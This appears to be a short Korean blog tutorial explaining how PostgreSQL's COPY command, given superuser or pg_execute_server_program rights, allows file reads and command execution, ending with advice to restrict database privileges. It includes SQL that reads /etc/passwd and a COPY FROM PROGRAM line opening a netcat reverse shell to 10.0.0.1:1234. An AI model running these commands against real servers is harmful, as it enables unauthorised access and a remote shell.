postgresql 접근이 가능하면 RCE가 가능할 수도 있습니다.
What is Postgresql
postgresql은 오픈소스 관계형 데이터베이스 관리 시스템(RDBMS)입니다.
무료로 사용이 가능하며, 안정성과 확장성이 좋은 평가를 받고있다고 공식홈페이지에서 소개를 하고 있습니다.
How to Command Execution with postgresql
COPY 기능을 사용하는 것입니다.
아래의 권한을 부여 받았더라면 해당 권한을 이용하여 쿼리를 이용하여 서버에 파일을 읽거나 쓰기가 가능하며, 명령을 실행할 수 도 있습니다.
postgresql은 설치 과정에서 postgres
라는 슈퍼유저 계정을 자동으로 생성하기 때문에 보안의 입장에서는 해당 계정에 대한 제어가 필요합니다.
- superuser
- pg_read_server_files — 파일 읽기 허용
- pg_write_server_files — 파일에 쓰기 허용
- pg_execute_server_program — 운영 체제에서 직접 명령을 실행 가능
COPY TO/FROM
해당 명령은 사용자가 운영 체제와 직접 상호 작용할 수 있도록 가능하여 공격자 입장에서 RCE 명령을 통해 DB계정으로 서버의 쉘 권한을 획득이 가능합니다.
예를 들어 서버의 passwd 파일을 읽고 싶다면 아래와 같은 명령어를 통해 파일 내용을 테이블에 추가할 수 있습니다.
- CREATE TABLE read_files(output text);
- COPY read_files FROM (‘/etc/passwd’);
- SELECT * FROM read_files;
COPY TO/FROM PROGRAM to RCE
만약 아래와 같이 RCE 명령이 실행되면 postgres라는 권한의 쉘을 획득할 수 있습니다.
- CREATE TABLE shell(output text);
- COPY shell FROM PROGRAM ‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f’;
Reference
- https://medium.com/r3d-buck3t/command-execution-with-postgresql-copy-command-a79aef9c2767
- https://www.postgresql.org/docs/current/sql-copy.html
마무리하며
postgresql의 COPY라는 기능을 이용하여 Command Execution이 가능한 것을 알아보았습니다.
이를 통해 DB의 권한을 잘 부여해서 사용해야한다는 점을 명심해야겠습니다.